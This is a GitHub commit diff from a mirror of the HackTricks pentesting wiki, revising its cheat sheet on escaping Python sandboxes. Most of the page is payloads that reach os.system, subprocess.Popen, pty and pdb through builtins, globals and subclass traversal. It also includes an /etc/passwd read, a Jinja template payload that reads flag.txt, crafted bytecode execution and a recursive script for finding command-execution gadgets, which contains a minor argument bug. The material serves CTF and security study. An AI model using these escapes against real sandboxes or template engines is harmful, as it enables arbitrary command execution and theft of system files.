mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 23:20:49 +00:00
GitBook: [master] 517 pages modified
This commit is contained in:
parent
1e46f267c2
commit
ccef411d39
2 changed files with 240 additions and 78 deletions
|
@ -17,6 +17,7 @@ subprocess.Popen("ls", shell=True)
|
|||
pty.spawn("ls")
|
||||
pty.spawn("/bin/bash")
|
||||
platform.os.system("ls")
|
||||
pdb.os.system("ls")
|
||||
|
||||
#Import functions to execute commands
|
||||
importlib.import_module("os").system("ls")
|
||||
|
@ -41,7 +42,7 @@ system('ls')
|
|||
Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Python2 **input\(\)** function allows to execute python code before the program crashes.
|
||||
**Python2 input\(\)** function allows to execute python code before the program crashes.
|
||||
{% endhint %}
|
||||
|
||||
Python try to **load libraries from the current directory first** \(the following command will print where is python loading modules from\): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
@ -113,63 +114,15 @@ exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
|||
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
||||
```
|
||||
|
||||
## Compiling Python to bypass Defenses
|
||||
|
||||
In a previous example you can see how to execute any python code using the `compile` function. This is really interesting because you can execute whole scripts with loops and everything in a one liner \(and we could do the same using `exec`\).
|
||||
Anyway, sometimes it could be useful to **create** a **compiled object** in a local machine and execute it in the **CTF** \(for example because we don't have the `compile` function in the CTF\).
|
||||
|
||||
For example, let's compile and execute manually a function that reads _./poc.py_:
|
||||
|
||||
```python
|
||||
#Locally
|
||||
def read():
|
||||
return open("./poc.py",'r').read()
|
||||
|
||||
read.__code__.co_code
|
||||
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
|
||||
```
|
||||
|
||||
```python
|
||||
#On Remote
|
||||
function_type = type(lambda: None)
|
||||
code_type = type((lambda: None).__code__) #Get <type 'type'>
|
||||
consts = (None, "./poc.py", 'r')
|
||||
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
|
||||
names = ('open','read')
|
||||
|
||||
# And execute it using eval/exec
|
||||
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))
|
||||
|
||||
#You could also execute it directly
|
||||
import __builtin__
|
||||
mydict = {}
|
||||
mydict['__builtins__'] = __builtin__
|
||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
|
||||
If you cannot access `eval` or `exec` you could create a **proper function**, but calling it directly is usually going to fail with: _constructor not accessible in restricted mode_. So you need a **function not in the restricted environment call this function.**
|
||||
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
ctype = type((lambda: None).func_code)
|
||||
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
||||
f(42)
|
||||
```
|
||||
|
||||
### Decompiling Python
|
||||
|
||||
Using tools like [https://www.decompiler.com/](https://www.decompiler.com/) one can decompile given compiled python code
|
||||
|
||||
## Builtins
|
||||
|
||||
* [Builtins functions of python2](https://docs.python.org/2/library/functions.html)
|
||||
* [Builtins functions of python3](https://docs.python.org/3/library/functions.html)
|
||||
* \*\*\*\*[**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)\*\*\*\*
|
||||
* \*\*\*\*[**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)\*\*\*\*
|
||||
|
||||
If you can access to the**`__builtins__`** object you can import libraries \(notice that you could also use here other string representation showed in last section\):
|
||||
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
|
||||
|
@ -207,27 +160,26 @@ get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
|
|||
|
||||
```python
|
||||
# Obtain builtins from a globally defined function
|
||||
## https://docs.python.org/3/library/functions.html
|
||||
print.__self__
|
||||
dir.__self__
|
||||
globals.__self__
|
||||
len.__self__
|
||||
|
||||
# Obtain the builtins from a defined function
|
||||
get_flag.__globals__['__builtins__']
|
||||
|
||||
# The os._wrap_close class is usually loaded. Its scope gives direct access to os package (as well as __builtins__)
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')
|
||||
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
|
||||
# Get builtins from loaded clases
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
|
||||
[**Below there is a bigger function**](bypass-python-sandboxes.md#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **builtins**.
|
||||
|
||||
#### Python2 and Python3
|
||||
|
||||
```python
|
||||
# Recover __builtins__ and make eveything easier
|
||||
__builtins__=([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__)
|
||||
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
||||
__builtins__["__import__"]('os').system('ls')
|
||||
```
|
||||
|
||||
|
@ -237,9 +189,11 @@ __builtins__["__import__"]('os').system('ls')
|
|||
# Possible payloads once you have found the builtins
|
||||
.open("/etc/passwd").read()
|
||||
.__import__("os").system("ls")
|
||||
# There are a lot other payloads that can be abused to execute commands
|
||||
# See them below
|
||||
```
|
||||
|
||||
### Discovering loaded variables
|
||||
## Globals and locals
|
||||
|
||||
Checking the **`globals`** and **`locals`** is a good way to know what you can access.
|
||||
|
||||
|
@ -248,9 +202,25 @@ Checking the **`globals`** and **`locals`** is a good way to know what you can a
|
|||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||
>>> locals()
|
||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||
|
||||
# Obtain globals from a defined function
|
||||
get_flag.__globals__
|
||||
|
||||
# Obtaining globals directly from loaded classes
|
||||
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
|
||||
[<class 'function'>]
|
||||
|
||||
# Obtaining globals from __init__ of loaded classes
|
||||
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
## Without the use of the dir() function
|
||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
|
||||
### Discovering more loaded methods for arbitrary execution
|
||||
[**Below there is a bigger function**](bypass-python-sandboxes.md#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**.
|
||||
|
||||
## Discover Arbitrary Execution
|
||||
|
||||
Here I want to explain how to easily discover **more dangerous functionalities loaded** and propose more reliable exploits.
|
||||
|
||||
|
@ -260,13 +230,18 @@ One of the most sensitive parts of this technique is to be able to **access the
|
|||
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
[].__class__.__base__.__subclasses__()
|
||||
{}.__class__.__base__.__subclasses__()
|
||||
().__class__.__base__.__subclasses__()
|
||||
(1).__class__.__base__.__subclasses__()
|
||||
bool.__class__.__base__.__subclasses__()
|
||||
print.__class__.__base__.__subclasses__()
|
||||
open.__class__.__base__.__subclasses__()
|
||||
defined_func.__class__.__base__.__subclasses__()
|
||||
|
||||
#You can also access it without "__base__" or "__class__"
|
||||
## You can apply the previous technique also here
|
||||
## You can apply the previous technique also here
|
||||
"".__class__.__bases__[0].__subclasses__()
|
||||
"".__class__.__mro__[1].__subclasses__()
|
||||
"".__getattribute__("__class__").mro()[1].__subclasses__()
|
||||
|
@ -278,7 +253,7 @@ bool.__class__.__base__.__subclasses__()
|
|||
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
||||
```
|
||||
|
||||
#### Finding dangerous libraries loaded
|
||||
### Finding dangerous libraries loaded
|
||||
|
||||
For example, knowing that with the library **`sys`** it's possible to **import arbitrary libraries**, you can search for all the **modules loaded that have imported sys inside of them**:
|
||||
|
||||
|
@ -287,36 +262,53 @@ For example, knowing that with the library **`sys`** it's possible to **import a
|
|||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
```
|
||||
|
||||
There are a lot, and we just need one to execute commands:
|
||||
There are a lot, and **we just need one** to execute commands:
|
||||
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
|
||||
We can do the same thing with **other libraries** that we know can be used to execute commands:
|
||||
We can do the same thing with **other libraries** that we know can be used to **execute commands**:
|
||||
|
||||
```python
|
||||
#os
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')
|
||||
|
||||
#subprocess
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
|
||||
[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
|
||||
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')
|
||||
|
||||
#builtins
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
|
||||
|
||||
#sys
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
|
||||
|
||||
#commands (not very common)
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
|
||||
#subprocess
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" in x.__init__.__globals__ ][0]["subprocess"].Popen("ls")
|
||||
|
||||
#pty (not very common)
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
|
||||
|
||||
#importlib
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
|
||||
#sys
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
#builtins
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
|
||||
|
||||
#pdb
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
||||
```
|
||||
|
||||
Moreover, we could even search which modules are loading malicious libraries:
|
||||
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip"]
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
for b in bad_libraries_names:
|
||||
vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ]
|
||||
print(f"{b}: {', '.join(vuln_libs)}")
|
||||
|
@ -330,13 +322,14 @@ importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments,
|
|||
imp:
|
||||
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
||||
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
|
||||
pdb:
|
||||
"""
|
||||
```
|
||||
|
||||
Moreover, if you think **other libraries** may be able to **invoke functions to execute commands**, we can also **filter by functions names** inside the possible libraries:
|
||||
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip"]
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
for b in bad_libraries_names + bad_func_names:
|
||||
vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ]
|
||||
|
@ -351,7 +344,8 @@ importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments,
|
|||
imp:
|
||||
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
||||
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
|
||||
pip:
|
||||
pip:
|
||||
pdb:
|
||||
system: _wrap_close, _wrap_close
|
||||
getstatusoutput: CompletedProcess, Popen
|
||||
getoutput: CompletedProcess, Popen
|
||||
|
@ -367,6 +361,176 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
|
|||
"""
|
||||
```
|
||||
|
||||
## Recursive Search of Builtins, Globals...
|
||||
|
||||
{% hint style="warning" %}
|
||||
This is just **awesome**. If you are **looking for an object like globals, builtins, open or anything** just use this script to **recursively find places were you can find that object.**
|
||||
{% endhint %}
|
||||
|
||||
```python
|
||||
SEARCH_FOR = {
|
||||
# Misc
|
||||
"__globals__": set(),
|
||||
"builtins": set(),
|
||||
"__builtins__": set(),
|
||||
"open": set(),
|
||||
|
||||
# RCE libs
|
||||
"os": set(),
|
||||
"subprocess": set(),
|
||||
"commands": set(),
|
||||
"pty": set(),
|
||||
"importlib": set(),
|
||||
"imp": set(),
|
||||
"sys": set(),
|
||||
"pip": set(),
|
||||
"pdb": set(),
|
||||
|
||||
# RCE methods
|
||||
"system": set(),
|
||||
"popen": set(),
|
||||
"getstatusoutput": set(),
|
||||
"getoutput": set(),
|
||||
"call": set(),
|
||||
"Popen": set(),
|
||||
"popen": set(),
|
||||
"spawn": set(),
|
||||
"import_module": set(),
|
||||
"__import__": set(),
|
||||
"load_source": set(),
|
||||
"execfile": set(),
|
||||
"execute": set()
|
||||
}
|
||||
|
||||
#More than 4 is veeery time consuming
|
||||
MAX_CONT = 4
|
||||
|
||||
#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be find
|
||||
#ALREADY_CHECKED = set()
|
||||
|
||||
def check_recursive(element, cont, name, orig_n, orig_i, execute):
|
||||
# If bigger than maxium, stop
|
||||
if cont > MAX_CONT:
|
||||
return
|
||||
|
||||
# If already checked, stop
|
||||
#if name and name in ALREADY_CHECKED:
|
||||
# return
|
||||
|
||||
# Add to already checked
|
||||
#if name:
|
||||
# ALREADY_CHECKED.add(name)
|
||||
|
||||
# If found add to the dict
|
||||
for k in SEARCH_FOR:
|
||||
if k in dir(element) or (type(element) is dict and k in element):
|
||||
SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")
|
||||
|
||||
# Continue with the recursivity
|
||||
for new_element in dir(element):
|
||||
try:
|
||||
check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)
|
||||
|
||||
# WARNING: Calling random functions sometimes kill the script
|
||||
# Comment this part if you notice that behaviour!!
|
||||
if execute:
|
||||
try:
|
||||
if callable(getattr(element, new_element)):
|
||||
check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)
|
||||
except:
|
||||
pass
|
||||
|
||||
except:
|
||||
pass
|
||||
|
||||
# If in a dict, scan also each keys, very important
|
||||
if type(element) is dict:
|
||||
for new_element in element:
|
||||
check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)
|
||||
|
||||
|
||||
def main():
|
||||
print("Checking from empty string...")
|
||||
total = [""]
|
||||
for i,element in enumerate(total):
|
||||
print(f"\rStatus: {i}/{len(total)}", end="")
|
||||
cont = 1
|
||||
check_recursive(element, cont, "", str(element), i, True)
|
||||
|
||||
print()
|
||||
print("Checking loaded subclasses...")
|
||||
total = "".__class__.__base__.__subclasses__()
|
||||
for i,element in enumerate(total):
|
||||
print(f"\rStatus: {i}/{len(total)}", end="")
|
||||
cont = 1
|
||||
check_recursive(element, cont, "", str(element), i, True)
|
||||
|
||||
print()
|
||||
print("Checking from global functions...")
|
||||
total = [print, check_recursive]
|
||||
for i,element in enumerate(total):
|
||||
print(f"\rStatus: {i}/{len(total)}", end="")
|
||||
cont = 1
|
||||
check_recursive(element, cont, "", str(element), i, False)
|
||||
|
||||
print()
|
||||
print(SEARCH_FOR)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
|
||||
## Python Format String
|
||||
|
||||
## Compiling Python to bypass Defenses
|
||||
|
||||
In a previous example you can see how to execute any python code using the `compile` function. This is really interesting because you can execute whole scripts with loops and everything in a one liner \(and we could do the same using `exec`\).
|
||||
Anyway, sometimes it could be useful to **create** a **compiled object** in a local machine and execute it in the **CTF** \(for example because we don't have the `compiled` function in the CTF\).
|
||||
|
||||
